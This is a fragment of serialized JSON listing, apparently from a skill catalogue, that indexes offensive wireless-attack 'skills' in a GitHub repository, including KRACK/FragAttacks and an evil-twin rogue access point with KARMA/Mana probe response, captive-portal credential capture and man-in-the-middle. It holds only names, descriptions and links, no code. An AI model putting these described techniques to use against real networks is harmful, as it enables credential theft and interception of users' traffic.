cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]